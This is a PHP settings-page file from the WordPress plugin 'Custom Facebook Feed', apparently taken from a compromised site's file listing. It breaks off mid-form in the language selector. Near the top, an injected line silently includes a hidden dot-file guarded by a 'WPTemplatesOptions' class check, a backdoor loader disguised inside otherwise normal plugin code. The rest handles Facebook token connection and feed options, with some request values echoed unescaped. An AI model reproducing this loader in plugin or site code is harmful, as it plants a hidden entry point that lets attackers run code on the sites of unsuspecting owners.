PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
custom-facebook-feed
<?php if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function cff_menu() { global $cff_error_reporter; $notice = ''; if ( $cff_error_reporter->are_critical_errors() ) { $notice = ' <span class="update-plugins cff-error-alert"><span>!</span></span>'; } $cap = current_user_can( 'manage_custom_facebook_feed_options' ) ? 'manage_custom_facebook_feed_options' : 'manage_options'; $cap = apply_filters( 'cff_settings_pages_capability', $cap ); add_menu_page( '', 'Facebook Feed'. $notice, $cap, 'cff-top', 'cff_settings_page' ); add_submenu_page( 'cff-top', 'Settings', 'Settings'. $notice, $cap, 'cff-top', 'cff_settings_page' ); } add_action('admin_menu', 'cff_menu'); //Add styling page function cff_styling_menu() { $cap = current_user_can( 'manage_custom_facebook_feed_options' ) ? 'manage_custom_facebook_feed_options' : 'manage_options'; $cap = apply_filters( 'cff_settings_pages_capability', $cap ); add_submenu_page( 'cff-top', 'Customize', 'Customize', $cap, 'cff-style', 'cff_style_page' ); add_submenu_page( 'cff-top', __( 'About Us', 'custom-facebook-feed' ), __( 'About Us', 'custom-facebook-feed' ), $cap, 'cff-about', 'cff_about_page' ); } add_action('admin_menu', 'cff_styling_menu'); function cff_about_page() { do_action('cff_admin_page' ); } //Create Settings page function cff_settings_page() { //Declare variables for fields $hidden_field_name = 'cff_submit_hidden'; $show_access_token = 'cff_show_access_token'; $access_token = 'cff_access_token'; $page_id = 'cff_page_id'; $cff_connected_accounts = 'cff_connected_accounts'; $cff_page_type = 'cff_page_type'; $num_show = 'cff_num_show'; $cff_post_limit = 'cff_post_limit'; $cff_show_others = 'cff_show_others'; $cff_cache_time = 'cff_cache_time'; $cff_cache_time_unit = 'cff_cache_time_unit'; $cff_locale = 'cff_locale'; // Read in existing option value from database $show_access_token_val = true; $access_token_val = get_option( $access_token ); $page_id_val = get_option( $page_id ); $cff_connected_accounts_val = get_option( $cff_connected_accounts ); $cff_page_type_val = get_option( $cff_page_type, 'page' ); $num_show_val = get_option( $num_show, '5' ); $cff_post_limit_val = get_option( $cff_post_limit ); $cff_show_others_val = get_option( $cff_show_others ); $cff_cache_time_val = get_option( $cff_cache_time, '1' ); $cff_cache_time_unit_val = get_option( $cff_cache_time_unit, 'hours' ); $cff_locale_val = get_option( $cff_locale, 'en_US' ); //Timezone $defaults = array( 'cff_timezone' => 'America/Chicago', 'cff_num_mobile' => '' ); $options = wp_parse_args(get_option('cff_style_settings'), $defaults); $cff_timezone = $options[ 'cff_timezone' ]; $cff_num_mobile = $options[ 'cff_num_mobile' ]; //Check nonce before saving data if ( ! isset( $_POST['cff_settings_nonce'] ) || ! wp_verify_nonce( $_POST['cff_settings_nonce'], 'cff_saving_settings' ) ) { //Nonce did not verify } else { // See if the user has posted us some information. If they did, this hidden field will be set to 'Y'. if( isset($_POST[ $hidden_field_name ]) && $_POST[ $hidden_field_name ] == 'Y' ) { // Read their posted value isset( $_POST[ $show_access_token ] ) ? $show_access_token_val = true : $show_access_token_val = true; isset( $_POST[ $access_token ] ) ? $access_token_val = sanitize_text_field( $_POST[ $access_token ] ) : $access_token_val = ''; isset( $_POST[ $page_id ] ) ? $page_id_val = sanitize_text_field( $_POST[ $page_id ] ) : $page_id_val = ''; isset( $_POST[ $cff_connected_accounts ] ) ? $cff_connected_accounts_val = $_POST[ $cff_connected_accounts ] : $cff_connected_accounts_val = ''; isset( $_POST[ $cff_page_type ] ) ? $cff_page_type_val = sanitize_text_field( $_POST[ $cff_page_type ] ) : $cff_page_type_val = ''; isset( $_POST[ $num_show ] ) ? $num_show_val = sanitize_text_field( $_POST[ $num_show ] ) : $num_show_val = ''; isset( $_POST[ 'cff_num_mobile' ] ) ? $cff_num_mobile = sanitize_text_field( $_POST[ 'cff_num_mobile' ] ) : $cff_num_mobile = ''; isset( $_POST[ $cff_post_limit ] ) ? $cff_post_limit_val = sanitize_text_field( $_POST[ $cff_post_limit ] ) : $cff_post_limit_val = ''; isset( $_POST[ $cff_show_others ] ) ? $cff_show_others_val = sanitize_text_field( $_POST[ $cff_show_others ] ) : $cff_show_others_val = ''; isset( $_POST[ $cff_cache_time ] ) ? $cff_cache_time_val = sanitize_text_field( $_POST[ $cff_cache_time ] ) : $cff_cache_time_val = ''; isset( $_POST[ $cff_cache_time_unit ] ) ? $cff_cache_time_unit_val = sanitize_text_field( $_POST[ $cff_cache_time_unit ] ) : $cff_cache_time_unit_val = ''; isset( $_POST[ $cff_locale ] ) ? $cff_locale_val = sanitize_text_field( $_POST[ $cff_locale ] ) : $cff_locale_val = ''; if (isset($_POST[ 'cff_timezone' ]) ) $cff_timezone = sanitize_text_field( $_POST[ 'cff_timezone' ] ); // Save the posted value in the database update_option( $show_access_token, true ); update_option( $access_token, $access_token_val ); update_option( $page_id, $page_id_val ); update_option( $cff_connected_accounts, $cff_connected_accounts_val ); update_option( $cff_page_type, $cff_page_type_val ); update_option( $num_show, $num_show_val ); update_option( $cff_post_limit, $cff_post_limit_val ); update_option( $cff_show_others, $cff_show_others_val ); update_option( $cff_cache_time, $cff_cache_time_val ); update_option( $cff_cache_time_unit, $cff_cache_time_unit_val ); update_option( $cff_locale, $cff_locale_val ); $options[ 'cff_timezone' ] = $cff_timezone; $options[ 'cff_num_mobile' ] = $cff_num_mobile; update_option( 'cff_style_settings', $options ); //Delete ALL transients cff_delete_cache(); // Put an settings updated message on the screen ?> <div class="updated"><p><strong><?php _e('Settings saved.', 'custom-facebook-feed' ); ?></strong></p></div> <?php } ?> <?php } //End nonce check ?> <div id="cff-admin" class="wrap"> <?php $lite_notice_dismissed = get_transient( 'facebook_feed_dismiss_lite' ); if ( ! $lite_notice_dismissed ) : ?> <div id="cff-notice-bar" style="display:none"> <span class="cff-notice-bar-message"><?php _e( 'You\'re using Custom Facebook Feed Lite. To unlock more features consider <a href="https://smashballoon.com/custom-facebook-feed/?utm_campaign=facebook-free&utm_source=notices&utm_medium=lite" target="_blank" rel="noopener noreferrer">upgrading to Pro</a>.', 'custom-facebook-feed'); ?></span> <button type="button" class="dismiss" title="<?php _e( 'Dismiss this message.', 'custom-facebook-feed'); ?>" data-page="overview"> </button> </div> <?php endif; ?> <div id="header"> <h1><?php _e('Custom Facebook Feed', 'custom-facebook-feed'); ?></h1> </div> <?php $cff_active_tab = isset( $_GET[ 'tab' ] ) ? $_GET[ 'tab' ] : 'configuration'; ?> <h2 class="nav-tab-wrapper"> <a href="?page=cff-top&tab=configuration" class="nav-tab <?php echo $cff_active_tab == 'configuration' ? 'nav-tab-active' : ''; ?>"><?php _e('Configuration', 'custom-facebook-feed'); ?></a> <a href="?page=cff-style" class="nav-tab <?php echo $cff_active_tab == 'customize' ? 'nav-tab-active' : ''; ?>"><?php _e('Customize', 'custom-facebook-feed'); ?></a> <a href="?page=cff-top&tab=support" class="nav-tab <?php echo $cff_active_tab == 'support' ? 'nav-tab-active' : ''; ?>"><?php _e('Support', 'custom-facebook-feed'); ?></a> </h2> <?php if( $cff_active_tab == 'configuration' ) { //Start tab ?> <form name="form1" method="post" action=""> <input type="hidden" name="<?php echo $hidden_field_name; ?>" value="Y"> <?php wp_nonce_field( 'cff_saving_settings', 'cff_settings_nonce' ); ?> <br /> <h3><?php _e('Configuration', 'custom-facebook-feed'); ?></h3> <div id="cff_fb_login_modal"> <div class="cff_modal_box"> <p>Log into your Facebook account using the button below and approve the plugin to connect your account.</p> <div class="cff-login-options"> <label for="cff_login_type">Would you like to display a Facebook Page or Group?</label> <select id="cff_login_type"> <option value="page">Facebook Page</option> <option value="group">Facebook Group</option> </select> <p> <a href="javascript:void(0);" id="cff_admin_cancel_btn" class="cff-admin-cancel-btn">Cancel</a> <?php $admin_url_state = admin_url('admin.php?page=cff-top'); //If the admin_url isn't returned correctly then use a fallback if( $admin_url_state == '/wp-admin/admin.php?page=cff-top' || $admin_url_state == '/wp-admin/admin.php?page=cff-top&tab=configuration' ){ $admin_url_state = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"; } ?> <a href="https://api.smashballoon.com/facebook-login.php?state=<?php echo $admin_url_state; ?>" class="cff_admin_btn" id="cff_page_app"><i class="fa fa-facebook-square"></i> <?php _e( 'Continue', 'custom-facebook-feed' ); ?></a> <a href="https://api.smashballoon.com/facebook-group-login.php?state=<?php echo $admin_url_state; ?>" class="cff_admin_btn" id="cff_group_app"><i class="fa fa-facebook-square"></i> <?php _e( 'Continue', 'custom-facebook-feed' ); ?></a> </p> </div> <p style="font-size: 11px; margin-top: 25px;"><b>Please note:</b> this does not give us permission to manage your Facebook pages or groups, it simply allows the plugin to see a list that you manage and retrieve an Access Token.</p> </div> </div> <a href="JavaScript:void(0);" class="cff_admin_btn" id="cff_fb_login"><i class="fa fa-facebook-square"></i> <?php _e( 'Connect a Facebook account', 'custom-facebook-feed' ); ?></a> <?php if( isset($_GET['access_token']) && isset($_GET['final_response']) ){ if( $_GET['final_response'] == 'true' ){ global $cff_error_reporter; $cff_error_reporter->remove_error( 'accesstoken' ); $access_token = $_GET['access_token']; $cff_is_groups = false; $pages_data_arr = ''; $groups_data_arr = ''; if( isset($_GET['group']) ){ //Get Groups $cff_is_groups = true; $groups_data_arr = ''; //Extend the user token by making a call to /me/accounts. User must be an admin of a page for this to work as won't work if the response is empty. $url = 'https://graph.facebook.com/me/accounts?limit=500&access_token='.$access_token; $accounts_data = cff_fetchUrl($url); $accounts_data_arr = json_decode($accounts_data); $cff_token_expiration = 'never'; if( empty($accounts_data_arr->data) ){ $cff_token_expiration = '60 days'; } //Get User ID $user_url = 'https://graph.facebook.com/me?fields=id&access_token='.$access_token; $user_id_data = cff_fetchUrl($user_url); if( !empty($user_id_data) ){ $user_id_data_arr = json_decode($user_id_data); $user_id = $user_id_data_arr->id; //Get groups they're admin of $groups_admin_url = 'https://graph.facebook.com/'.$user_id.'/groups?admin_only=true&fields=name,id,picture&access_token='.$access_token; $groups_admin_data = cff_fetchUrl($groups_admin_url); $groups_admin_data_arr = json_decode($groups_admin_data); //Get member groups $groups_url = 'https://graph.facebook.com/'.$user_id.'/groups?admin_only=false&fields=name,id,picture&access_token='.$access_token; $groups_data = cff_fetchUrl($groups_url); $groups_data_arr = json_decode($groups_data); // $pages_data_arr = $groups_data_arr; } } else { //Get Pages $url = 'https://graph.facebook.com/me/accounts?limit=500&access_token='.$access_token; $pages_data = cff_fetchUrl($url); $pages_data_arr = json_decode($pages_data); if( empty($pages_data_arr->data) ){ //If they don't manage any pages then just use the user token instead ?> <script type='text/javascript'> jQuery(document).ready(function($) { $('#cff_access_token').val('<?php echo $access_token ?>').addClass('cff-success'); //Check the own access token setting so it reveals token field if( $('#cff_show_access_token:checked').length < 1 ){ $("#cff_show_access_token").trigger("change").prop( "checked", true ); } }); </script> <?php } } if( !empty($pages_data_arr->data) || $cff_is_groups ){ //Show the pages they manage echo '<div id="cff_fb_login_modal" class="cff_modal_tokens cffnomodal">'; echo '<div class="cff_modal_box">'; echo '<div class="cff-managed-pages">'; if( $cff_is_groups ){ //GROUPS if( empty($groups_data_arr->data) && empty($groups_admin_data_arr->data) ){ echo '<h3>No Groups Returned</h3>'; echo "<p>Facebook has not returned any groups for your user. It is only possible to display a feed from a group which you are either an admin or a member. Please note, if you are not an admin of the group then it is required that an admin add our app in the group settings in order to display a feed.</p><p>Please either create or join a Facebook group and then follow the directions when connecting your account on this page.</p>"; echo '<a href="JavaScript:void(0);" class="button button-primary" id="cff-close-modal-primary-button">Close</a>'; } else { global $cff_error_reporter; $cff_error_reporter->remove_error( 'accesstoken' ); echo '<div class="cff-groups-list">'; echo '<p style="margin-top: 0;"><i class="fa fa-check-circle" aria-hidden="true" style="font-size: 15px; margin: 0 8px 0 2px;"></i>Select a Facebook group below to get an Access Token.</p>'; echo '<div class="cff-pages-wrap">'; //Admin groups foreach ( $groups_admin_data_arr->data as $page => $group_data ) { echo '<div class="cff-managed-page cff-group-admin'; if( $group_data->id == $page_id_val ) echo ' cff-page-selected'; echo '" data-token="'.$access_token.'" data-page-id="'.$group_data->id.'" id="cff_'.$group_data->id.'" data-pagetype="group">'; echo '<p>'; if( isset( $group_data->picture->data->url ) ) echo '<img class="cff-page-avatar" border="0" height="50" width="50" src="'.$group_data->picture->data->url.'">'; echo '<b class="cff-page-info-name">'.$group_data->name.'</b><span class="cff-page-info">(Group ID: '.$group_data->id.')</span></p>'; echo '<div class="cff-group-admin-icon"><i class="fa fa-user" aria-hidden="true"></i> Admin</div>'; echo '</div>'; } //Member groups foreach ( $groups_data_arr->data as $page => $group_data ) { echo '<div class="cff-managed-page'; if( $group_data->id == $page_id_val ) echo ' cff-page-selected'; echo '" data-token="'.$access_token.'" data-page-id="'.$group_data->id.'" id="cff_'.$group_data->id.'" data-pagetype="group">'; echo '<p>'; if( isset( $group_data->picture->data->url ) ) echo '<img class="cff-page-avatar" border="0" height="50" width="50" src="'.$group_data->picture->data->url.'">'; echo '<b class="cff-page-info-name">'.$group_data->name.'</b><span class="cff-page-info">(Group ID: '.$group_data->id.')</span></p>'; echo '</div>'; } echo '</div>'; echo '<a href="JavaScript:void(0);" class="button button-primary cff-group-btn" id="cff-insert-token" disabled="disabled">Use token for this Group</a>'; if( $cff_token_expiration == "60 days" ) echo '<div id="cff_token_expiration_note" class="cff-error"><b>Important:</b> This token will expire in 60 days.<br /><a href="https://smashballoon.com/extending-a-group-access-token-so-it-never-expires/" target="_blank">Extend token so it never expires</a></div>'; echo '</div>'; echo '<div id="cff-group-installation">'; echo '<h3>Important</h3>'; echo '<div id="cff-group-admin-directions">'; echo '<p>To display a feed from your group you need to add our app in your Facebook group settings:</p>'; echo '<ul>'; echo '<li><b>1)</b> Go to your group settings page by clicking <a id="cff-group-edit" href="https://www.facebook.com/groups/" target="_blank">here<i class="fa fa-external-link" aria-hidden="true" style="font-size: 13px; position: relative; top: 2px; margin-left: 5px;"></i></a></li>'; echo '<li><b>2)</b> In the "Apps" section click "Add Apps".</li>'; echo '<li><b>3)</b> Search for "Smash Balloon" and select our app (<a id="cff-group-app-tooltip">screenshot</a>).<img id="cff-group-app-screenshot" src="'. plugins_url( "img/group-app.png" , __FILE__ ) .'" alt="Thumbnail Layout" /></li>'; echo '<li><b>4</b>) Click "Add".</li>'; echo '</ul>'; echo '<p style="margin-bottom: 10px;">You can now use the plugin to display a feed from your group.</p>'; echo '</div>'; echo '<div id="cff-group-member-directions">'; echo '<p>To display a feed from this group an admin needs to first add our app in the group settings. Please ask an admin to follow the directions <a href="https://smashballoon.com/adding-our-app-to-a-facebook-group/" target="_blank">here</a> to add our app.</p>'; echo '<p>Once this is done you will then be able to display a feed from this group.</p>'; echo '</div>'; echo '<a href="JavaScript:void(0);" class="button button-primary" id="cff-close-modal-primary-button">Done</a>'; echo '<a href="https://smashballoon.com/display-facebook-group-feed/" target="_blank" class="button button-secondary"><i class="fa fa-life-ring"></i> Help</a>'; echo '</div>'; } } else { //PAGES global $cff_error_reporter; $cff_error_reporter->remove_error( 'accesstoken' ); echo '<p style="margin-top: 0;"><i class="fa fa-check-circle" aria-hidden="true" style="font-size: 15px; margin: 0 8px 0 2px;"></i>Select a Facebook page below to get an Access Token.</p>'; echo '<p class="cff-tokens-note">Note: This Access Token will allow you to display posts from <b style="font-weight: 900;">any</b> public Facebook page, not just the one selected.</p>'; echo '<div class="cff-pages-wrap">'; foreach ( $pages_data_arr->data as $page => $page_data ) { echo '<div class="cff-managed-page '; if( $page_data->id == $page_id_val ) echo 'cff-page-selected'; echo '" data-token="'.$page_data->access_token.'" data-page-id="'.$page_data->id.'" data-pagetype="page">'; echo '<p><img class="cff-page-avatar" border="0" height="50" width="50" src="https://graph.facebook.com/'.$page_data->id.'/picture"><b class="cff-page-info-name">'.$page_data->name.'</b><span class="cff-page-info">(Page ID: '.$page_data->id.')</span></p>'; echo '</div>'; } echo '</div>'; $cff_use_token_text = 'Connect this page'; echo '<a href="JavaScript:void(0);" id="cff-insert-token" class="button button-primary" disabled="disabled">'.$cff_use_token_text.'</a>'; echo '<a href="JavaScript:void(0);" id="cff-insert-all-tokens" class="button button-secondary cff_connect_all">Connect All</a>'; } echo '</div>'; echo '<a href="JavaScript:void(0);" class="cff-modal-close"><i class="fa fa-times"></i></a>'; echo '</div>'; echo '</div>'; echo '<a href="JavaScript:void(0);" class="cff_admin_btn" id="cff_fb_show_tokens"><i class="fa fa-th-list" aria-hidden="true" style="font-size: 14px; margin-right: 8px;"></i>'; $cff_is_groups ? _e( "Show Available Groups", "custom-facebook-feed" ) : _e( "Show Available Pages", "custom-facebook-feed" ); echo '</a>'; } } } ?> <table class="form-table"> <tbody> <tr valign="top"> <th scope="row"><label><?php _e('Facebook Page ID<br /><i style="font-weight: normal; font-size: 12px;">ID of your Facebook Page or Group</i>', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> id Eg: id="YOUR_PAGE_OR_GROUP_ID"</code></th> <td> <p id="cff_primary_account_label"></p> <input name="cff_page_id" id="cff_page_id" type="text" value="<?php esc_attr_e( $page_id_val, 'custom-facebook-feed' ); ?>" size="45" data-page-id="<?php esc_attr_e( $page_id_val ); ?>" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><?php _e('What\'s my Page ID?', 'custom-facebook-feed'); ?></a> <br /><i style="color: #666; font-size: 11px;">Eg. 1234567890123 or smashballoon</i> <div class="cff-tooltip cff-more-info"> <ul> <li><?php _e('<b>Facebook Page</b><br /> You can find the ID of your Facebook <b>Page</b> from the URL. In each URL format, the ID is highlighted below:<br /><br /> URL Format 1: <code>https://www.facebook.com/<span class="cff-highlight">your_page_name</span></code> <br /> URL Format 2: <code>https://www.facebook.com/your_page_name-<span class="cff-highlight">1234567890</span></code> <br /> URL Format 3: <code>https://www.facebook.com/pages/your_page_name/<span class="cff-highlight">1234567890</span></code> '); ?> </li> <li><?php _e('<b>Facebook Group</b><br />You can find the ID of your Facebook <b>Group</b> from the URL, like so: <code>https://www.facebook.com/groups/<span class="cff-highlight">1234567890</span></code>'); ?></li> </ul> </div> </td> </tr> <?php //When connecting an account check the current access token to see if it has an error. If so then add a class to the field and replace it automatically in JS when getting a new one. $cff_replace_token = false; if( isset($_GET['access_token']) && isset($_GET['final_response']) ){ if( $_GET['final_response'] == 'true' ){ $api_page_id = trim($page_id_val); $url = 'https://graph.facebook.com/'.$api_page_id.'?limit=1&fields=id&access_token='.$access_token_val; $accounts_data = cff_fetchUrl($url); //If there's an error (and it's not the PPCA one) then mark the token as needing to be replaced if (strpos($accounts_data, 'error') !== false && strpos($accounts_data, 'Public') == false) $cff_replace_token = true; } } ?> <tr valign="top"> <th scope="row" style="padding-bottom: 10px;"><?php _e('Facebook Access Token', 'custom-facebook-feed'); ?><br /><i style="font-weight: normal; font-size: 12px; color: red;"><?php _e('Required', 'custom-facebook-feed'); ?></i></th> <td> <textarea name="cff_access_token" id="cff_access_token" <?php if($cff_replace_token) echo 'class="cff-replace-token"' ?> style="min-width: 60%;" data-accesstoken="<?php esc_attr_e( $access_token_val ); ?>"><?php esc_attr_e( $access_token_val ); ?></textarea><br /><a class="cff-tooltip-link" style="margin-left: 3px;" href="JavaScript:void(0);"><?php _e("What is this?", 'custom-facebook-feed'); ?></a> <p class="cff-tooltip cff-more-info"><?php _e("In order to connect to Facebook and get a feed, you need to use an Access Token. To get one, simply use the blue button above to log into your Facebook account. You will then receive a token that will be used to connect to Facebook's API. If you already have an Access Token then you can enter it here.", 'custom-facebook-feed'); ?></p> <div class="cff-notice cff-profile-error cff-access-token"> <?php _e("<p>This doesn't appear to be an Access Token. Please be sure that you didn't enter your App Secret instead of your Access Token.<br />Your App ID and App Secret are used to obtain your Access Token; simply paste them into the fields in the last step of the <a href='https://smashballoon.com/custom-facebook-feed/access-token/' target='_blank'>Access Token instructions</a> and click '<b>Get my Access Token</b>'.</p>", 'custom-facebook-feed'); ?> </div> </td> </tr> </tbody> </table> <div id="cff_accounts_section"> <a href="JavaScript:void(0);" class="button-secondary button" id="cff_manual_account_button">Manually connect account</a> <div id="cff_manual_account"> <div id="cff_manual_account_step_1"> <label for="cff_manual_account_type"><?php _e('Is it a Facebook page or group?'); ?></label> <select name="cff_manual_account_type" id="cff_manual_account_type"> <option value="" disabled selected><?php _e('- Select one -'); ?></option> <option value="page"><?php _e('Page'); ?></option> <option value="group"><?php _e('Group'); ?></option> </select> <a href="javascript:void(0);" class="cff_manual_forward button-primary"><i class="fa fa-chevron-right" aria-hidden="true"></i></a> </div> <div id="cff_manual_account_step_2" class="cff_account_type_page"> <div> <label for="cff_manual_account_name"><span class="cff_page"><?php _e('Page'); ?></span><span class="cff_group"><?php _e('Group'); ?></span> <?php _e('Name'); ?> <span style="font-size: 11px;"><?php _e('(optional)'); ?></span></label> <input name="cff_manual_account_name" id="cff_manual_account_name" type="text" value="" placeholder="Eg: John's Facebook Page" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('This is just for labeling the account here on this settings page'); ?></p> </div> <div> <label for="cff_manual_account_id"><span class="cff_page"><?php _e('Page'); ?></span><span class="cff_group"><?php _e('Group'); ?></span> <?php _e('ID'); ?></label> <input name="cff_manual_account_id" id="cff_manual_account_id" type="text" value="" placeholder="Eg: 1234567890123 or smashballoon" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('The ID of the Facebook'); ?> <span class="cff_page"><?php _e('Page'); ?></span><span class="cff_group"><?php _e('Group'); ?></span> <?php _e('you want to add.'); ?> <a href='https://smashballoon.com/custom-facebook-feed/id/' target='_blank'><?php _e("How do I find my Page ID?"); ?></a></p> </div> <div> <label for="cff_manual_account_token"><?php _e('Access Token'); ?></label> <input name="cff_manual_account_token" id="cff_manual_account_token" type="text" value="" /> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('The Access Token of the Facebook'); ?> <span class="cff_page"><?php _e('Page'); ?></span><span class="cff_group"><?php _e('Group'); ?></span> <?php _e('you want to add'); ?></p> </div> <?php $cff_submit_btn_atts = array( 'disabled' => 'true' ); submit_button('Connect Account', 'primary', 'submit', true, $cff_submit_btn_atts); ?> <a href="javascript:void(0);" class="cff_manual_back button-secondary">Back</a> </div> </div> <h3 class="cff_connected_actions">Connected Accounts:</h3> <div id="cff_connected_accounts_wrap"><?php //Add connected accounts here ?></div> <div class="cff_connected_actions"> <a href="JavaScript:void(0);" id="cff_export_accounts">Show raw account data</a> <div id="cff_export_accounts_wrap"> <textarea name="cff_connected_accounts" id="cff_connected_accounts" style="width: 100%;" rows="5" /><?php echo stripslashes( esc_attr( $cff_connected_accounts_val ) ); ?></textarea> </div> <?php submit_button('Save Settings'); ?> </div> </div> <hr /> <table class="form-table"> <tbody> <h3><?php _e('Settings', 'custom-facebook-feed'); ?></h3> <tr valign="top" class="cff-page-type"> <th scope="row"><label><?php _e('Is it a page or group?'); ?></label><code class="cff_shortcode"> pagetype Eg: pagetype=group</code></th> <td> <select name="cff_page_type" id="cff_page_type" style="width: 100px;"> <option value="page" <?php if($cff_page_type_val == "page") echo 'selected="selected"' ?> ><?php _e('Page'); ?></option> <option value="group" <?php if($cff_page_type_val == "group") echo 'selected="selected"' ?> ><?php _e('Group'); ?></option> <option value="profile" <?php if($cff_page_type_val == "profile") echo 'selected="selected"' ?> ><?php _e('Profile'); ?></option> </select> <div class="cff-notice cff-profile-error cff-page-type"> <?php _e("<p>Due to Facebook's privacy policy you're not able to display posts from a personal profile, only from a public Facebook Page.</p><p>If you're using a profile to represent a business, organization, product, public figure or the like, then Facebook recommends <a href='http://www.facebook.com/help/175644189234902/' target='_blank'>converting your profile to a page</a>. There are many advantages to using pages over profiles, and once you've converted then the plugin will be able to successfully retrieve and display all of your posts.</p>", 'custom-facebook-feed'); ?> </div> </td> </tr> <tr valign="top"> <th scope="row"><label><?php _e('Show posts on my page by:', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> showpostsby Eg: showpostsby=others</code></th> <td> <select name="cff_show_others" id="cff_show_others" style="width: 250px;"> <option value="me" <?php if($cff_show_others_val == 'me') echo 'selected="selected"' ?> ><?php _e('Only the page owner (me)', 'custom-facebook-feed'); ?></option> <option value="others" <?php if($cff_show_others_val == 'others' || $cff_show_others_val == 'on') echo 'selected="selected"' ?> ><?php _e('Page owner + other people', 'custom-facebook-feed'); ?></option> <option value="onlyothers" <?php if($cff_show_others_val == 'onlyothers') echo 'selected="selected"' ?> ><?php _e('Only other people', 'custom-facebook-feed'); ?></option> </select> </td> </tr> <tr valign="top"> <th scope="row"><label><?php _e('Number of posts to display', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> num, nummobile Eg: num=5 nummobile=3</code></th> <td> <input name="cff_num_show" type="text" value="<?php esc_attr_e( $num_show_val, 'custom-facebook-feed' ); ?>" size="4" /> <i style="color: #666; font-size: 11px;">Max 100</i> <div style="margin: 8px 0 0 1px; font-size: 12px;"> <input type="checkbox" name="cff_show_num_mobile" id="cff_show_num_mobile" <?php if(! empty( $cff_num_mobile )) echo 'checked="checked"' ?> /> <label for="cff_show_num_mobile"><?php _e('Show different number for mobile'); ?></label> <div class="cff-mobile-col-settings"> <div class="cff-row"> <label title="Click for shortcode option"><?php _e('Mobile Number', 'custom-facebook-feed'); ?>:</label><code class="cff_shortcode"> nummobile Eg: nummobile=4</code> <input type="text" name="cff_num_mobile" id="cff_num_mobile" size="4" value="<?php echo esc_attr( $cff_num_mobile ); ?>"> <i style="color: #666; font-size: 11px;"><?php _e('Leave blank for default', 'custom-facebook-feed'); ?></i> </div> </div> </div> </td> </tr> <tr valign="top"> <th scope="row"><label><?php _e('Facebook API post limit', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> limit Eg: limit=10</code></th> <td> <select name="cff_limit_setting" id="cff_limit_setting" style="width: 90px;"> <option value="auto" selected="selected"><?php _e('Auto'); ?></option> <option value="manual"><?php _e('Manual'); ?></option> </select> <div id="cff_limit_manual_settings"> <input name="cff_post_limit" id="cff_post_limit" type="text" value="<?php esc_attr_e( $cff_post_limit_val ); ?>" size="4" /> <i style="color: #666; font-size: 11px;">Eg. 10. Max 100.</i> </div> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e("The post 'limit' is the number of posts retrieved from the Facebook API. Most users won't need to manually adjust this setting as by default the plugin automatically retrieves a few more posts from the Facebook API than you need, as some posts may be filtered out.", "custom-facebook-feed"); ?><br /><br /> <b><?php _e('Auto', 'custom-facebook-feed'); ?></b> (<?php _e('Recommended', 'custom-facebook-feed'); ?>)<br /> <?php _e("Allow the plugin to automatically decide how many posts to retrieve from Facebook's API.", "custom-facebook-feed"); ?><br /><br /> <b><?php _e('Manual', 'custom-facebook-feed'); ?></b><br /> <?php _e("Manually set how many posts to retrieve from Facebook's API.<br /><b>Note:</b> If you choose to retrieve a high number of posts then it will take longer for Facebook to return the posts when the plugin checks for new ones.", "custom-facebook-feed"); ?></p> </td> </tr> <tr valign="top"> <th scope="row"><?php _e('Check for new posts every', 'custom-facebook-feed'); ?></th> <td> <input name="cff_cache_time" type="text" value="<?php esc_attr_e( $cff_cache_time_val, 'custom-facebook-feed' ); ?>" size="4" /> <select name="cff_cache_time_unit" style="width: 100px;"> <option value="minutes" <?php if($cff_cache_time_unit_val == "minutes") echo 'selected="selected"' ?> ><?php _e('Minutes', 'custom-facebook-feed'); ?></option> <option value="hours" <?php if($cff_cache_time_unit_val == "hours") echo 'selected="selected"' ?> ><?php _e('Hours', 'custom-facebook-feed'); ?></option> <option value="days" <?php if($cff_cache_time_unit_val == "days") echo 'selected="selected"' ?> ><?php _e('Days', 'custom-facebook-feed'); ?></option> </select> <a class="cff-tooltip-link" href="JavaScript:void(0);"><i class="fa fa-question-circle" aria-hidden="true"></i></a> <p class="cff-tooltip cff-more-info"><?php _e('Your Facebook posts and comments data is temporarily cached by the plugin in your WordPress database. You can choose how long this data should be cached for. If you set the time to 60 minutes then the plugin will clear the cached data after that length of time, and the next time the page is viewed it will check for new data.', 'custom-facebook-feed'); ?></p> </td> </tr> <tr valign="top"> <th scope="row"><label><?php _e('Localization', 'custom-facebook-feed'); ?></label><code class="cff_shortcode"> locale Eg: locale=es_ES</code></th> <td> <select name="cff_locale"> <option value="af_ZA" <?php if($cff_locale_val == "af_ZA") echo 'selected="selected"' ?> ><?php _e('Afrikaans', 'custom-facebook-feed'); ?></option> <option value="ar_AR" <?php if($cff_locale_val == "ar_AR") echo 'selected="selected"' ?> ><?php _e('Arabic', 'custom-facebook-feed'); ?></option> <option value="az_AZ" <?php if($cff_locale_val == "az_AZ") echo 'selected="selected"' ?> ><?php _e('Azerbaijani', 'custom-facebook-feed'); ?></option> <option value="be_BY" <?php if($cff_locale_val == "be_BY") echo 'selected="selected"' ?> ><?php _e('Belarusian', 'custom-facebook-feed'); ?></option> <option value="bg_BG" <?php if($cff_locale_val == "bg_BG") echo 'selected="selected"' ?> ><?php _e('Bulgarian', 'custom-facebook-feed'); ?></option> <option value="bn_IN" <?php if($cff_locale_val == "bn_IN") echo 'selected="selected"' ?> ><?php _e('Bengali', 'custom-facebook-feed'); ?></option> <option value="bs_BA" <?php if($cff_locale_val == "bs_BA") echo 'selected="selected"' ?> ><?php _e('Bosnian', 'custom-facebook-feed'); ?></option> <option 